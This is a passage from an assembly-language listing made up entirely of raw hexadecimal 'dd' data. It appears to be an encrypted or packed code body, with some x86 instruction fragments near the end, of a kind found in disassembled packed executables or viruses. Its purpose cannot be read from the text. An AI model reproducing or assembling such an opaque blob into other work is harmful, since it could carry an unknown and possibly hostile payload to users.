		dd 24B79C63h, 0E237FF48h, 54327D26h, 225A1566h,	7B321466h
		dd 95A7EA66h, 0CD37FF64h, 0C8225CE3h, 60879E63h, 337FF45h
		dd 0AE1954FBh, 6B879C63h, 9837FF65h, 620248FBh,	5AF9E63h
		dd 0A937FF4Dh, 11CB966Dh, 82ED9169h, 15621566h,	0ABF22606h
		dd 0FB1F48E3h, 880EAB63h, 30311566h, 8F543542h,	31165165h
		dd 8B4A65EDh, 0CF123112h, 9FBB0D18h, 14D83513h,	0D3DEAE3h
		dd 4432156Ch, 22231B8Eh, 11A3FC66h, 3631566h, 40E07EB1h
		dd 259380EFh, 1558108Ch, 8822150Eh, 44584766h, 202F8099h
		dd 94BB108Ch, 8DD825DBh, 0AC6BC5EDh, 223205B9h,	5531B830h
		dd 3A53142h, 840042B9h,	0DBB71AC8h, 4FCDEA99h, 360EE4Dh
		dd 58F9EB1h, 0A137FF49h, 0D101EAAFh, 490013ECh,	0C3369E20h
		dd 113AFCA7h, 943D5FAEh, 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch
		dd 0EE6011A4h, 621F48E3h, 19A79E63h, 1B37FF4Bh,	0FB1260F3h
		dd 82B61A63h, 1E321566h, 26F49638h, 0EECD8E8Fh,	0E96C4F99h
		dd 0C1F54D3Fh, 27D80D6Bh, 11321566h, 0A6FF90A1h, 4432108Ch
		dd 9FB11566h, 14C32FF0h, 80B61A66h, 0C9321566h,	0D2B705FBh
		dd 0EEE1EA63h, 6212FCE3h, 0AD8F9663h, 4637FF46h, 11509769h
		dd 0DF51566h, 41D8358Fh, 22321567h, 7F879806h, 537E45Dh
		dd 0B565CCDBh, 0A9CC3E63h, 508F9EB1h, 0B37FF49h, 8401EAAFh
		dd 0E30013ECh, 96369E20h, 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch
		dd 0C1C5D4EDh, 847F905Fh, 0C03D108Ch, 22321571h, 38C7A8E5h
		dd 8732108Ch, 44321FE3h, 9FB7D266h, 1037FF7Bh, 0E9321566h
		dd 437991DFh, 0BEEBAF6Dh, 989F7D8Ah, 62315CD3h,	0B874D263h
		dd 22321566h, 0FFDCFB5Bh, 0A8B71A88h, 0C5321566h, 0FFEFC858h
		dd 5B71ABBh, 4F321566h,	44321560h, 26F49666h, 127BA0EFh
		dd 71DB108Ch, 0CF32156Eh, 9FB726BEh, 0D037FF7Bh, 4A1916AEh
		dd 7722D5A7h, 9FAF9CA7h, 2C37FF7Bh, 88331566h, 44779669h
		dd 1CB31566h, 0AA89AEDDh, 880B9069h, 42F51566h,	22321566h
		dd 9836D3E5h, 62315CD3h, 5AF9E63h, 0A937FF4Dh, 71E29E6Dh
		dd 0D19D7EDh, 41D8240Bh, 2130F5A7h, 0FB2C38E3h,	8B9F8363h
		dd 60769CA7h, 5EDB747Ah, 40321566h, 3FB2634h, 0AE02A8F3h
		dd 2D302E63h, 11322DE2h, 8CF09666h, 31BF2E27h, 2D37FF46h
		dd 0EECDFDE3h, 0DB879899h, 0C937E45Ch, 0C812E8DBh, 0D1B6B963h
		dd 88349169h, 0AD981566h, 0DDCDEA97h, 113215DEh, 0A9BF9866h
		dd 0BB37FF2Ah, 7FBF9C87h, 4B37FF4Bh, 15B9433Fh,	41D83E27h
		dd 0A7B91EEDh, 14D8383Bh, 0D31F5B7h, 41D81647h,	44A4E355h
		dd 13D2D4CBh, 961F9065h, 0E9A4108Ch, 0A16CD465h, 0FB3098DBh
		dd 0C3D1463h, 4432155Fh, 3F77985Dh, 953D108Ch, 8832154Bh
		dd 58BF985Dh, 0A63D108Ch, 11321547h, 0A32B985Dh, 0C03D108Ch
		dd 22321573h, 5E8388EBh, 5BCD1097h, 0C1BBEDEDh,	27D836C7h
		dd 1134A18Fh, 39AF9866h, 0BB37E429h, 0AF8F96B5h, 1137FF64h
		dd 882F9169h, 0C1091566h, 27D813B7h, 113E9169h,	0D091566h
		dd 41D835E3h, 22379069h, 0A8DB1566h, 0B3CDEA99h, 0AE1E50E3h
		dd 3AB71A63h, 92321566h, 6230C4DBh, 0C13D1563h,	2232156Dh
		dd 388990EBh, 1DDB1097h, 7FCDEA99h, 0C81E50E3h,	98B61A63h
		dd 0BCDEA99h, 0B5085ADBh, 0A73D1463h, 11321571h, 0B29C905Dh
		dd 0C13D1097h, 2232156Dh, 0F79290EBh, 0E5DB153Eh, 77CDEA99h
		dd 978F9699h, 1137FF64h, 8B559169h, 0C1091566h,	27C32FFCh
		dd 94B91213h, 8DD81C9Bh, 0E6B72E21h, 5737E45Ch,	0FCB79E61h
		dd 0CF37FF71h, 7EAC905Dh, 25471097h, 149B90EDh,	0B375108Ch
		dd 0B508B3E3h, 0A9356063h, 0FB27C4E3h, 0D095263h, 41C32FCCh
		dd 0A7B91213h, 14D83E77h, 26B72E21h, 3137E45Ch,	5FB79E61h
		dd 5637FF4Fh, 0B280905Dh, 43471097h, 0AFF90EDh,	2A75108Ch
		dd 7908A3E3h, 0CF356063h, 0C8278CE3h, 94095263h, 8DC32FDCh
		dd 0C1B91213h, 27D83EBBh, 0AFB72E21h, 0FD37E45Ch, 39B79E61h
		dd 6537FF66h, 2BF4905Dh, 8F471097h, 475F90EDh, 1975108Ch
		dd 0E008D7E3h, 0B226063h, 0AE125CDBh, 25471563h, 0FBF90EDh
		dd 0B75108Ch, 0AE1F20DBh, 2D461563h, 2A7C905Dh,	8F471097h
		dd 447B90EDh, 0A175108Ch, 0FB1220DBh, 0FA461563h, 6A57A8E5h
		dd 5632108Ch, 23B72E0Fh, 0FD37E45Dh, 25B79E61h,	6537FF43h
		dd 2A70905Dh, 8F471097h, 617F90EDh, 1975108Ch, 0E00923E3h
		dd 3356063h, 0AE3DA8E3h, 0A7095263h, 14C32E20h,	0DB91213h
		dd 41D800DBh, 68B72E21h, 6437E45Dh, 0F1B79E61h,	337FF56h
		dd 1908905Dh, 16471097h, 816390EDh, 7F75108Ch, 0D3092BE3h
		dd 9A356063h, 623EECE3h, 0F9B15263h, 27D83B03h,	1BB61A66h
		dd 0B3321564h, 0B508DFE3h, 0A9356063h, 0FB2EA8E3h, 0D095263h
		dd 41C32E38h, 0A7B91213h, 14D81583h, 46B72E21h,	3137E45Ch
		dd 0C3B79E61h, 5637FF7Fh, 0B2E0905Dh, 43471097h, 71B90EDh
		dd 2A75108Ch, 7908C3E3h, 0CF356063h, 0C819D0E3h, 94095263h
		dd 8DC32FBCh, 0F9B10513h, 27D8352Fh, 9A356066h,	62124CE3h
		dd 0C1095263h, 27C32FB8h, 94B91213h, 8DD81E4Fh,	0A6B72E21h
		dd 5737E45Ch, 588F9676h, 8837FF46h, 0C1B91213h,	27D801E3h
		dd 0F7B72E21h, 0FD37E45Ch, 19B79E61h, 6537FF66h, 2BD8905Dh
		dd 8F471097h, 433B90EDh, 1975108Ch, 0E008E7E3h,	0B226063h
		dd 0AE125CDBh, 25471563h, 160390EDh, 0B375108Ch, 0B508FBE3h
		dd 0A1226063h, 0FB125CDBh, 8F471563h, 5E0F90EDh, 1975108Ch
		dd 0E008E3E3h, 3356063h, 0AE2A34E3h, 0A7095263h, 14C32F9Ch
		dd 0DB91213h, 41D805EFh, 0DCB72E21h, 6437E45Ch,	0E1B79E61h
		dd 337FF7Dh, 1930905Dh,	16471097h, 961390EDh, 7F75108Ch
		dd 0D30913E3h, 9A356063h, 622F90E3h, 0C1095263h, 27C32E6Ch
		dd 94B91213h, 8DD830BFh, 4AB72E21h, 5737E45Dh, 0FCB79E61h
		dd 0CF37FF57h, 7F20905Dh, 25471097h, 14E790EDh,	0B375108Ch
		dd 0AE3848E3h, 0A9356063h, 0FB3ED0E3h, 0D095263h, 41C32E70h
		dd 0A7B91213h, 14D80E63h, 0DAB72E21h, 3137E45Dh, 788F967Fh
		dd 1137E45Dh, 35B11C13h, 41D817EBh, 0A9356166h,	0FB036CE3h
		dd 0D095263h, 41C32E30h, 9FB10C13h, 14C32E3Ch, 0B3B6066h
		dd 0AE3098DBh, 25461563h, 1C6790EDh, 0B375108Ch, 0B5090FE3h
		dd 0A9356063h, 0FB3CF8E3h, 0D095263h, 41C32E78h, 0A7B91213h
		dd 14D8129Bh, 0AAB72E21h, 3137E45Dh, 0CFB79E61h, 5637FF4Ch
		dd 0B314905Dh, 43471097h, 3C9F90EDh, 2A75108Ch,	79093FE3h
		dd 0CF356063h, 0C81948E3h, 94095263h, 8DC32E48h, 0C1B91213h
		dd 27D809DBh, 1ECD1E21h, 883210E2h, 0BFD8FC66h,	0A709EA99h
		dd 14D80303h, 88399069h, 0C1BF1566h, 27C2C871h,	0EEC9C68Fh
		dd 0C1B72E99h, 4B37FF61h, 22320DE3h, 5E8F9666h,	8937E45Ch
		dd 44399069h, 0A7BF1566h, 116AF345h, 77C9BA8Fh,	0CEB72E99h
		dd 2D37E45Ch, 113219E2h, 6B72E66h, 4B37E45Ch, 223210E3h
		dd 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h, 11321523h
		dd 0B24C905Dh, 0C13D1097h, 2232156Dh, 73D690EBh, 0E5DB153Eh
		dd 7FCDEA9Dh, 0D30897E3h, 1AB71A63h, 5321566h, 1C514FE3h
		dd 0D964FC66h, 9409EA99h, 8DC32FE0h, 44399069h,	0A7BF1566h
		dd 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h,	943DE36Dh
		dd 88321563h, 0BBC9368Fh, 0ABC29E99h, 0FB1F70D3h, 89879C63h
		dd 0C437FF7Ah, 0A73DFC58h
		dd 11321540h, 8B336BEDh, 0C5EC9E98h, 227215A5h,	748F2E66h
		dd 8737FF4Bh, 44321DE4h, 2DC92E66h, 113210E0h, 72D4FC66h
		dd 0F9B9EA99h, 27D80147h, 38F790A1h, 8832108Ch,	0CD521566h
		dd 0C82E14D3h, 83AF9863h, 7737E433h, 66B01AB5h,	0AF321566h
		dd 0FED472FBh, 87E1EA63h, 0BBCDCBE5h, 23879E99h, 9837FF7Ah
		dd 621BD0D3h, 0FCAF9863h, 0DD37E5E2h, 74B79EB5h, 137FF4Bh
		dd 0AE2E14E3h, 0BFBF7463h, 14C3449Dh, 15BFC699h, 41C34185h
		dd 0A13DC699h, 1132156Ah, 943390E5h, 0AD37108Ch, 0DDCDEAB8h
		dd 443E88EBh, 5BCD1097h, 443A9669h, 0E0B11566h,	1100FC62h
		dd 15BF1566h, 41DDF301h, 0A13DC699h, 1132156Dh,	9433A0EDh
		dd 0C4DB108Ch, 0A9321561h, 0FB2E14EBh, 89879C63h, 6F37FF7Ah
		dd 9EBE2A8h, 0F896E697h, 77CDEAF0h, 0C12288EBh,	0F1CD1096h
		dd 9419D2EDh, 8DD80147h, 767390EFh, 0A7B9108Ch,	14D80147h
		dd 5BF4531h, 41C290E3h,	0A7B9C499h, 14D8052Fh, 0DB94236h
		dd 41D80147h, 96BF9836h, 0EE37E5E3h, 3E29EB7h, 0DBF3EAEh
		dd 0A137FF76h, 0FB34D4DBh, 0C3D1563h, 4432154Dh, 326B90EDh
		dd 9419108Ch, 8DD813A7h, 0C23DD45Dh, 22321571h,	20EB90EDh
		dd 0D31108Ch, 41D813A7h, 19390EFh, 52DB108Ch, 0D9321566h
		dd 497AD4EDh, 22321A99h, 48B79C26h, 8937FF76h, 0AE1B14E3h
		dd 0E3B7D263h, 1137FF60h, 0E2321566h, 54327D26h, 48631566h
		dd 0CA7EA66h, 7737FF64h, 0AE1F40F3h, 0FBB79C63h, 9837FF57h
		dd 6211B4E3h, 0F1CD4C63h, 27D836C7h, 17BA099h, 7765108Ch
		dd 0AE2634D3h, 64B79863h, 0EE37E5ECh, 49BF14B6h, 0CF37FF60h
		dd 0C811B4DBh, 58879E63h, 7B37FF76h, 0D879EC2h,	8F37FF65h
		dd 11CE53A1h, 49321566h, 0C03710A6h, 2139122Dh,	0FB02BCE3h
		dd 29BF9E63h, 0CD37FF45h, 64F5B86Eh, 1132159Ah,	0C1879C66h
		dd 0C737FF65h, 0A73DEA9Eh, 11321546h, 55EF2BE7h, 0C13DC8BBh
		dd 22321572h, 113213A1h, 4EB11566h, 0D879C62h, 0CB37FF65h
		dd 0EECDE380h, 8B31D5A7h, 0AE02BCE3h, 5B8F9663h, 1037FF6Ch
		dd 88AF9169h, 7AB31566h, 8898BFCCh, 11209069h, 4EB11566h
		dd 0B874D262h, 22321566h, 0F8DBA5F1h, 88321565h, 14DAA5F1h
		dd 20BFA8E5h, 1E33108Ch, 88322BE2h, 4532AD66h, 9FB11566h
		dd 14C32FF0h, 80B61A66h, 0C9321566h, 0D2BF92FBh, 91E1EA63h
		dd 0C3D8559h, 4432156Eh, 0CB37D2E5h, 11321525h,	8762EDE5h
		dd 44321FE4h, 88A2A566h, 35DBBF3Eh, 0D0321566h,	0BB4D95CCh
		dd 3AB71A8Fh, 92321566h, 790883DBh, 0C03D1563h,	2232156Eh
		dd 9C6588EBh, 5BCD1096h, 0CF3652EEh, 0C811B4E3h, 92F53E63h
		dd 2599118Eh, 44CE53A1h, 0CB321566h, 0EECDEA77h, 8B7BA0EFh
		dd 2C60108Ch, 22329566h, 0A4CD150Ch, 8DD825DBh,	4D838099h
		dd 0A968108Ch, 0FB1954EBh, 8833D263h, 0C7321566h, 0AFBB11A7h
		dd 14D83E27h, 77C7058Fh, 4296FC99h, 0A9521566h,	0FB1954EBh
		dd 13B9E63h, 0B50887EBh, 6C0A9463h, 1E7E5132h, 883209E3h
		dd 3CB37366h, 2D1C5962h, 113205E3h, 0BC29E66h, 0C1B913A0h
		dd 27D80687h, 1133138Fh, 3C29E66h, 0E8FB26B6h, 0A63D155Ah
		dd 1132153Bh, 0C3D385Ah, 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh
		dd 0A3D255Ah, 44321466h, 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah
		dd 44321596h, 0A43D4F5Ah, 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h
		dd 0A03D745Ah, 113215BEh, 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh
		dd 0C7095766h, 88F09169h, 5781566h, 0DDCD8F8Fh,	1EFB9099h
		dd 8832A6E2h, 0B1879866h, 0A937FF57h, 0A1C89EACh, 0D3DBB48h
		dd 0BBCDEA9Fh, 0FBC5DA4Dh, 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h
		dd 27D82493h, 1DB390EDh, 48B7108Ch, 44289069h, 0A7F41566h
		dd 14D80F23h, 2FE07D21h, 0F1CDC1FCh, 27D836EBh,	0BE9290EBh
		dd 58CD108Bh, 0C1E2EA34h, 1AB71AA6h, 9A321566h,	6230B4E3h
		dd 4BF29063h, 22320FE3h, 54B7D366h, 0C437FF7Ch,	9E2EFC0Eh
		dd 0AF87EABFh, 9C37FF45h, 659DB5E3h, 16E2EA63h,	0E2B7C599h
		dd 11379069h, 0A9DB1566h, 0CD321566h, 0D30887E3h, 9C644563h
		dd 659917E3h, 4FE2EA63h, 27B71AA6h, 0F8321566h,	88321562h
		dd 581651EFh, 0A952D607h, 0E00887EBh, 49B94563h, 0CF0E5565h
		dd 22329DF6h, 3CA79C66h, 8D37FF7Ch, 4432159Eh, 0AB3E45EDh
		dd 0FB223CF3h, 0CCB94D63h, 85193142h, 321B905Dh, 933D108Ch
		dd 88321576h, 5E1F905Dh, 0A13D108Ch, 11321562h,	8836D707h
		dd 6036D207h, 22321566h, 151651A1h, 88321566h, 443210DEh
		dd 3BF9866h, 0EE37FF2Ah, 8EB87587h, 0C03DFC5Ah,	22321558h
		dd 953DFD5Ah, 88321524h, 0C03D1A5Ah, 22321574h,	953DD85Ah
		dd 88321559h, 0C03DFE5Ah, 2232152Fh, 4FB8D607h,	78D19567h
		dd 4BB2EEE6h, 0DDCDFAE3h, 92EC9E99h, 0D63113A5h, 4426FC64h
		dd 7CB91566h, 0EAC99667h, 881B9169h, 9AB91566h,	0A1334B65h
		dd 0D8DB10A5h, 87CDEA99h, 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh
		dd 88321F8Fh, 454C9566h, 8FB71A98h, 0F8CDEA99h,	77CDEA06h
		dd 13614430h, 0A89ED555h, 0E1D195BEh, 8742EEE6h, 4432F9E2h
		dd 2D3D2966h, 113230E2h, 87DB2966h, 443391E2h, 2DD92966h
		dd 113000E2h, 87D12966h, 443264E2h, 2DD02966h, 113056E2h
		dd 0D1694A66h, 0C1F5D638h, 27C32E04h, 11321560h, 6BB20BECh
		dd 0C4C99596h, 0DDD19069h, 9A7CEA99h, 621F70E3h, 81A79E63h
		dd 0A937FF4Fh, 17F196B8h, 0B3304B65h, 4CB01ABEh, 19321566h
		dd 0AFB41ABCh, 0A3CDEA99h, 42D996B9h, 8954B800h, 0D7B1BEF5h
		dd 0AC0E9C62h, 481661EFh, 3E33A0EFh, 4A6D108Ch,	4CB14B3Fh
		dd 0BE52FC62h, 0A7F5EA99h, 14C32E04h, 88321564h, 0F23DCBEDh
		dd 0A2CB9568h, 113A9669h, 51311566h, 443FFC25h,	0CBB21566h
		dd 90EBE299h, 8832EA87h, 0CFEB3E66h, 0C81F70E3h, 0D4A79E63h
		dd 0B37FF4Fh, 0AE2A18DBh, 0A63D1463h, 113215C5h, 0A3DCD5Dh
		dd 443215FDh, 0A03DCF5Dh, 0EECDEA27h, 88329B8Fh, 26B7D266h
		dd 2037E45Dh, 9A321566h, 86841AB8h, 4BB2ECE6h, 22321DE5h
		dd 52EB1666h, 8832188Fh, 0BBDB9566h, 0C3B3CC91h, 11321599h
		dd 0DB9CC4Dh, 41D83803h, 0BF780EDh, 0ACB1108Ch,	8DD80D6Bh
		dd 0CB61A67h, 19321566h, 19B01ABEh, 0B3321566h,	0A2B41ABCh
		dd 6CCDEA98h, 9B981AD6h, 8B2A568h, 85381A87h, 0A1ED3ECCh
		dd 0BAA1118Dh, 130D3E5h, 0AE2E14D3h, 2FB7D263h,	1037FF7Eh
		dd 0B321566h, 1D6911A2h, 0A136D1E5h, 66DB11A2h,	0C6CDEA9Fh
		dd 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h, 40F69638h
		dd 0DDCBD28Fh, 73B7D299h, 8D37E45Dh, 0CF321566h, 26F196B8h
		dd 94B90B65h, 8DD83803h, 6DF780EDh, 0A17C108Ch,	0FB1CD8DBh
		dd 0C3D1463h, 44321465h, 0A03DCD5Dh, 1132156Eh,	0E3DCF5Dh
		dd 4432154Dh, 3E33A0EFh, 8CB9108Ch, 8DC32E04h, 48164967h
		dd 2232CB8Fh, 94F54A66h, 8DD83BABh, 44321567h, 0A16C4C3Dh
		dd 0E6DB11A2h, 0BCDEA9Eh, 0AE2A18DBh, 0A63D1463h, 113215DDh
		dd 0A557884Dh, 0C9B9108Ch, 27D80147h, 0DE19DE65h, 3837FCE5h
		dd 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h, 0C1F5EA99h
		dd 27C32E04h, 11321564h, 3E3DCBEDh, 0C4CB9568h,	223A9669h
		dd 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h, 1132EA87h
		dd 3EB3E66h, 0AE1F70E3h, 0E7A79E63h, 0F837FF4Fh, 77CDEA20h
		dd 7F5090A1h, 22301097h
		dd 0CFB91566h, 83CA369h, 0C73D959Fh, 2232156Eh,	0F871CC65h
		dd 8832156Bh, 0B3CDFCE6h, 0DDD394BFh, 3A321566h, 0EDB79EBFh
		dd 0CF37FF4Bh, 0C81BD0F3h, 1C8F9663h, 8937FF7Eh, 0BAFB9169h
		dd 0FA09EA99h, 113A9769h, 52091566h, 0B9559369h, 0A97CEA99h
		dd 92FD3EA8h, 6182108Fh, 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh
		dd 88349169h, 0ADCA1566h, 2232157Eh, 12EC9E35h,	4BB11438h
		dd 0EEDAA563h, 0C9B1CA4Dh, 4A998662h, 7137D3E5h, 0CF5444A5h
		dd 2DF12960h, 113255E2h, 87F92966h, 44322DE2h, 2DF02966h
		dd 11322DE2h, 87F82966h, 443225E2h, 0DD0F7366h,	21B61A43h
		dd 0EE321566h, 4BCD3B5Bh, 223218E3h, 13749F66h,	280EE542h
		dd 44119169h, 0DA6B1566h, 11322C8Fh, 0C9FB2666h, 44320C8Fh
		dd 2231AC66h, 1EDB1566h, 31321566h, 44321560h, 2232108Fh
		dd 1135AC66h, 2CC11566h, 6DF798EDh, 0EBB7108Ch,	11349069h
		dd 3DBB1566h, 41D83CA3h, 44F1EC3Fh, 0D20E13EDh,	88579169h
		dd 9CB81566h, 0A2C2F6E6h, 953D659Dh, 883215FAh,	0C03DFC5Ah
		dd 22321529h, 953DFE5Ah, 88321521h, 0C03DD75Ah,	22321559h
		dd 953DDE5Ah, 88321551h, 61CD2800h, 221F9169h, 0DB0E1566h
		dd 88179169h, 0A70E1566h, 22509169h, 2C541566h,	0D3DEA48h
		dd 4432156Bh, 63053ECh,	1E922996h, 883213E2h, 4BDBED66h
		dd 0AB321566h, 0FB1BD0D3h, 30AF9863h, 0BB37E5E2h, 72F1ECB5h
		dd 982253EDh, 620378E3h, 82B14D63h, 0F8F987Ah, 0BC37FF78h
		dd 0AC165165h, 898F98CDh, 8F37FF7Fh, 35165165h,	35BFBE36h
		dd 41D81647h, 67616CBh,	0D26CBE4Eh, 19AF9830h, 0BB37E5E2h
		dd 0FF95FCB5h, 0CEDFFFFFh, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 0B4A86DC0h, 0A8ED96A7h, 458A152Ah, 0DFA02429h, 79261957h
		dd 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah, 492C5ECAh
		dd 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h, 798A152Ah
		dd 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h, 0CE2559D7h
		dd 407B0887h, 0D032DCF1h, 0BA8FE434h, 0A8EDD871h, 458A42C3h
		dd 58DDAEA2h, 0C88260D5h, 0A5B5EC38h, 0DF07462Fh, 51594F26h
		dd 3C6D5h, 5492B85Eh, 0F305E983h, 0E4CB8BA4h, 0B1DABA31h
		dd 0EB32565Dh, 3DDFBC2Fh, 3C5253A7h, 41B35511h,	0B977DDD0h
		dd 0F4B95163h, 0B575DF79h, 38221331h, 0F4B95A1Ah, 0A175DFBAh
		dd 0A1F09F36h, 34F436ABh, 83D84C90h, 0A4F305E9h, 9D11F1B0h
		dd 75FD7AF2h, 0AA17FB23h, 25F88B98h, 0FDF53FD5h, 84DEB0ADh
		dd 0B7342292h, 23AC7ACFh, 20AD29B7h, 75FD7A1Ah,	987C2779h
		dd 700C5FBCh, 56ACFFA0h, 0C87D7FDEh, 0F305E983h, 8DDB8BA4h
		dd 0F13B6EBDh, 558D8D05h, 0B805F156h, 32156644h, 0E9C1CF2Bh
		dd 0D0073102h, 4C783C8h, 0F2850F49h, 8BFFFFFFh,	0D9BD83C0h
		dd 5EA13h, 0BD830975h, 5EA2EE5h, 50197400h, 0B8C08B53h
		dd 411h, 7698589h, 9D8D05EAh, 5ECDE5Ch,	585BD3FFh, 2EE5BD83h
		dd 740005EAh, 0B8535017h, 411h,	7698589h, 9D8D05EAh, 5ECDAFDh
		dd 585BD3FFh, 0F2BBC08Bh, 8D4672A4h, 0F1588E8Dh, 53006A05h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 3C09890Ah, 643E3A4Ah, 2A559D8Bh, 0FE905EAh, 3E000000h
		dd 27A76B04h, 5E1D0372h, 28A48F51h, 8D89A147h, 5EA0ADDh
		dd 0C28B66F5h, 0ACD85C7h, 6D6805EAh, 0F08B0000h, 25F585C7h
		dd 5EAh, 830F0000h, 5, 6C1F55BFh, 51B5FF4Ch, 0E905EA15h
		dd 8, 4609A3C4h, 0F1B4B07Eh, 2A1995FFh,	6A05EAh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 0EDBC0C3h, 0DF8B6606h, 95FF006Ah, 5EA1015h, 5DEBC08Bh
		dd 0B5EC866Eh, 0CF5B1ECCh, 42F5EA27h, 0D173F1ECh, 0F78B0874h
		dd 375A5866h, 1AB8B9E9h, 79257BF0h, 0CD6C1074h,	5FDB0F05h
		dd 0BB9ADCB3h, 0FF4B98ECh, 630027A5h, 0E667CCCCh, 0F291507Eh
		dd 6B6B980Ch, 51439FBCh, 48EBB9FAh, 0C4674AE3h,	0A9105757h
		dd 74315BBh, 19BCCD4Dh,	0AD99E0D7h, 0EDE9C4h, 66600000h
		dd 4A8D88Ch, 0DF840Fh, 0B58B0000h, 5EA2C45h, 0F00FE83h
		dd 2285h, 4585C600h, 4505EA1Ah,	72696968h, 45B5FF8Eh, 8D05EA1Dh
		dd 0EDAFA085h, 89D0FF05h, 0EA2E7D85h, 80F08B05h, 850FE93Eh
		dd 31h,	0ACCE858Dh, 0D0FF05EFh,	0F5BD8Bh, 0C78105EAh, 1184h
		dd 2C45B58Bh, 0F78705EAh, 8B9h,	8BA4F300h, 0EA2C45B5h
		dd 0C6858D05h, 0FF05EE48h, 1B58BD0h, 8305EA09h,	850F00FEh
		dd 22h,	1A4585C6h, 685405EAh, 0FF4EBEF4h, 1D45B5FFh, 858D05EAh
		dd 5EDAFA0h, 8589D0FFh,	5EA0901h, 3E80F08Bh, 3A850FE9h
		dd 8B000000h, 0EA0901B5h, 0CE858D05h, 0FF05EFACh, 0F5BD8BD0h
		dd 8105EA00h, 1184C7h, 8C78300h, 901B58Bh, 0F78705EAh
		dd 8B9h, 8BA4F300h, 0EA0901B5h,	0C6858D05h, 0FF05EE48h
		dd 8DC361D0h, 0F158F585h, 25858905h, 0E805EA0Ah, 13h, 0E19B916Bh
		dd 415BC8AAh, 0AE3C4DE4h, 8AF5A263h, 66C52210h,	0F59F38Bh
		dd 0C181FEB7h, 62F5h, 0C337BF66h, 1893B8h, 0EE900h, 0F4360000h
		dd 0DBEB22C6h, 1E22EB0Bh, 0BE3DCF51h, 8B0F118Bh, 2, 0C2815E57h
		dd 24697D7Eh, 0C8F0Fh, 880F0000h, 6, 840Fh, 0EA810000h
		dd 467C1BE8h, 0C2815B51h, 0FEFAA5Bh, 3B8BE66h, 59BF6652h
		dd 0F018FD1h, 0E983F2BFh, 0FE803h, 31840000h, 825CAD21h
		dd 489B32F4h, 30EB0133h, 5FDA8BE9h, 8E95349h, 0B0000000h
		dd 0EEC2E1C3h, 5ED6EEA0h, 0F01E883h, 0FFFF8F85h, 1E04EBFFh
		dd 0E913ED86h, 5D5h, 0B9ED92C6h, 3D690C43h, 0B5E194C7h
		dd 3B6F0A4Fh, 0B6E291C1h, 6DED9110h, 0EE609ACEh, 71E3194Dh
		dd 0ED609ACEh, 20B2184Ch, 47C09A92h, 0C861ED1Dh, 0D782F739h
		dd 0ED3A177Bh, 3265E4B8h, 9DD0D675h, 0E70E50FCh, 7FCD0FEFh
		dd 1756A485h, 614D60F8h, 2C2A896Fh, 0BA530DAEh,	5106328Fh
		dd 0C29A3914h, 0F162B538h, 0E08CE04Ch, 620F464Ch, 0E293C4CEh
		dd 194B414Eh, 0FAAE4B82h, 0A55A9A54h, 23D40006h, 0CE4F8D77h
		dd 1478D489h, 5539DE1Eh, 0E291C50Bh, 56BFE141h,	2FF74546h
		dd 0A5D5DFADh, 1B5355F6h, 3A84D478h, 0C27099CAh, 48E9688Ah
		dd 387B9265h, 0B85F9D9Bh, 8A928E6h, 935DF3ABh, 7E12BE61h
		dd 0E792DBDDh, 0D54A3D4Bh, 0BAF81756h, 0BBF0194Ah, 1DCA0627h
		dd 725288D3h, 0D5A0255Fh, 0D14A3E76h, 89BA340Eh, 0E3000000h
		dd 0EF80F739h, 5667675Dh, 2E42DA17h, 966EDC82h,	0E9175667h
		dd 0B8BE1D71h, 76288435h, 349839B8h, 0B181FB58h, 45175666h
		dd 0E695D917h, 0C785264Ah, 39C04895h, 9C7340Eh,	68094CC9h
		dd 1FEA704h, 0A7000000h, 0E74BEA6Dh, 67CB6AEDh,	0E14DEC6Dh
		dd 2378E4EEh, 0BE5709ACh, 28AE4A00h, 664B278Bh,	0DF7C3C6Ch
		dd 1B32987h, 1756DB2Bh,	754CA4C4h, 0C4B36E0Fh, 74F9FF5Ch
		dd 22559BC5h, 0A59F2D73h, 18175754h, 227B2380h,	1B11A339h
		dd 13175667h, 0FC903CDFh, 0B6B0138Bh, 313B9744h, 1BB31FBEh
		dd 49EFAC45h, 505B88C2h, 2043B1F3h, 0E53408BAh,	5E871756h
		dd 2A6DA4ECh, 0FACC082h, 7E2AC909h, 0FEA05184h,	577C230h
		dd 0FE92FE52h, 84F7FD5Dh, 4F017DD1h, 1918D01Dh,	0A16F340Fh
		dd 51848E2Dh, 0C3600CA0h, 649Ah, 0ED6DC300h, 6BE8E24Eh
		dd 145A94CAh, 4A7CB67h,	33A1ABA4h, 0C479FE30h, 42F16167h
		dd 0CD6EEC16h, 4BE66B61h, 5FC59BE7h, 566717EDh,	73B36A17h
		dd 0AD985A7Bh, 98311C70h, 0BD786347h, 0F1632182h, 0F2A04E4h
		dd 3E7034h, 6D290000h, 0E8E24EEDh, 4367CB6Ch, 4F25970Dh
		dd 0A2175667h, 0A9DB993Ah, 6733E012h, 82F7393Eh, 0AFB41E96h
		dd 0CAA6A514h, 35E86F69h, 3B18EF99h, 6C2E1757h,	0D03F500h
		dd 173340Fh, 2A000000h,	0E34FEE6Dh, 5FFA73BDh, 8773FAFCh
		dd 30954F02h, 9839BC5Fh, 643498F4h, 77B9AADAh, 0F6F053FEh
		dd 7D84D085h, 0BD0F512Ch, 12BCD1BAh, 0FEA5D40Dh, 0BD6ECD14h
		dd 0A7668FD1h, 0FD4B7679h, 81F9F341h, 0D44C116Ch, 0E5BB1BB8h
